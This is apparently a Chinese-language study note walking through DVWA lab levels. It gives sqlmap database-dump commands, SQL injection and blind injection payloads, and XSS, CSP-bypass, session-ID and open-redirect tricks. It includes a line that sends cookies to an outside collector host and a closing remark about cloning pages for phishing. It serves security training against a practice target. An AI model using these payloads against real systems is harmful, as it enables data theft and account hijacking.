sqlmap
报错注入 ?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) ---+
sqlmap检测 其中的网址都得运行一下,然后再得到的
LOW
python sqlmap.py -u "运行一下网站去得到网址" --cookie="开发者模式去得到cookie" 为了看是否有sql注入的漏洞
python sqlmap.py -u "运行一下网站去得到网址" --cookie="开发者模式去得到cookie" --dbs 得到数据库的名称
python sqlmap.py -u "运行一下网站去得到网址" --cookie="开发者模式去得到cookie" -D 数据库的名字 --tables 得到数据库表
python sqlmap.py -u "运行一下网站去得到网址" --cookie="开发者模式去得到cookie" -D 数据库的名字 -T 数据库表里面的内容 --columns 得到数据库表里面的内容行列
python sqlmap.py -u "运行一下网站去得到网址" --cookie="开发者模式去得到cookie" -D 数据库的名字 -T 数据库表里面的内容 --dump 得到里面的所有内容
--passwords --users --current --db --threads=数字 --forms --os-shell --batch
密码 用户 数据库 所有数据库 线程 对表单测试 获取交互的shell 默认为 y同意
中级
sqlmap -r 1.txt --batch --dbs 先用burp抓一下包导入进去然后得到的命令,后面的操作跟前面的一样-D -columns,1.txt是抓包的然后考在kali的桌面上面.
得进去desktop
高级
sqlmap -r 1.txt --batch --dbs --second-url "http://192.168.75.1/vulnerabilities/sqli/" 进去界面
sqlmap -r 1.txt --batch --dbs --dump --second-url "http://192.168.75.1/vulnerabilities/sqli/" 保存到固定地址 -dump
其中的--second-url 是针对两个页面不在一起的(输入和输出) 紧跟测试的网站地址先输入数字在得到url。
盲注
不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
1' and length(database())>1# 猜解库名长度(二分法)
1' and ascii(substr(database(),1,1))>1# 判断数据库名称的字符组成元素
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 判断表的数量
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10# 猜解表名的长度 第一张表
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>10# 猜解表名的长度 第二张表
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100#判断表名的字符组成元素 第二张表
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>150# 判断表名的字符组成元素 第一张表
1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')>10#猜解users表中字段个数
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1;#
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1;#猜解可能的字段如果一个一个猜解其中的字段,那工作量十分巨大,现实的生产环境中可能有几十个字段,所以我们可以猜测其中可能存在的字段
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 # 猜密码
1' and (select count(*) from users where user='admin')=1 #
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #
二、Medium\n步骤和LOW相似,不过变成数字型注入,需要去掉1后面的单引号。\n\n使用burpsuite抓包,修改id的值为注入语句即可。\n\n同时medium在源代码中对特殊符号进行了转义处理,对于带有引号的字符串转换成16进制进行绕过。
high级别会另外开启一个页面,步骤类似
Weak Session IDs
通过下面的cookie值的改变然后去得到那个值可以套用在不同的浏览器可以自己套用登入 low
借用一个时间戳工具然后去得到一个ID值,得到对应的那个时候的cookie就可以登入 中级
用cmd5 去把高级的md51值给算出来得到ID去对应时间得到那个cookie 高级
xss dom
low http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=German<script>alert(document.cookie)</script> 用这个
中级 ></option></select><iframe οnlοad=alert(document.cookie)>
<img src=1 οnerrοr=alert(document.cookie)>
高级 #<script>alert(document.cookie)</script> 都是去得cookie值
document.location='http://pikachu.local/pkxss/xcookie/cookie.php?cookie=' +document.cookie;
xss是一种前端的漏洞可以用跟mysql一样的语言去找到漏洞有三种xss类型反射、存储、dom型
第一种可以用beef的JS框架去注入漏洞得到主机信息;(会一点前端基础和MySQL比较好);
可以用一些语句去测试xss漏洞
<h1>hello 标题hello
<script>alert(1)</script> 弹出警告 有时候那个html的代码会去识别并去防御可以尝试大小写s替换去处理;还可以尝试很多种去处理方法查看一下源代码;
<img src=1 οnerrοr=alert(1)> 跟上面一样的
<video><source οnerrοr=alert(1)> 一样
<audio src=x οnerrοr=alert(1)> 一样
<body οnlοad=alert(1);> 一样
反射型就一次,存储型有很多次记得去删记录,对代码name可以改一下存储型中级 ,高级都一样记得改字数
控制台document.cookie
alert(document.cookie)
得到cookie 是客户端的一种保存
(CSP) Bypass
初级 可以去那个https://pastebin.com/去写一个alert(document.cookie)在raw一下得到url去放到这个输入框得到cookie
中级 <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(document.cookie)</script> 这个是在消息报头中 nonce中的mV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA= 输入到框中
高级 GET /DVWA-master/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie) HTTP/1.1 burp抓包把第一个改一下
javascript
low 先在输入框里输入success在控制台上输入generate_token() 去回车生成一个token 在已经填上success的框上提交
中级 先在输入框里输入success在控制台上输入do_elsesomething("XX") 去回车生成一个token 在已经填上success的框上提交
高级 先在输入框里输入success在控制台上输入token_part_1("ABCD",44);在输入token_part_2("XX");去回车生成一个token 在已经填上success的框上提交
Open HTTP Redirect
low
127.0.0.1/DVWA-master/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com
中级 127.0.0.1/DVWA-master/vulnerabilities/open_redirect/source/../../../hackable/uploads/redirect.php 构造一个文件redirect.php上传然后去用网址访问
高级 127.0.0.1/DVWA-master/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com/?a=info.php 就可以进去百度了
可以克隆一模一样的页面去骗取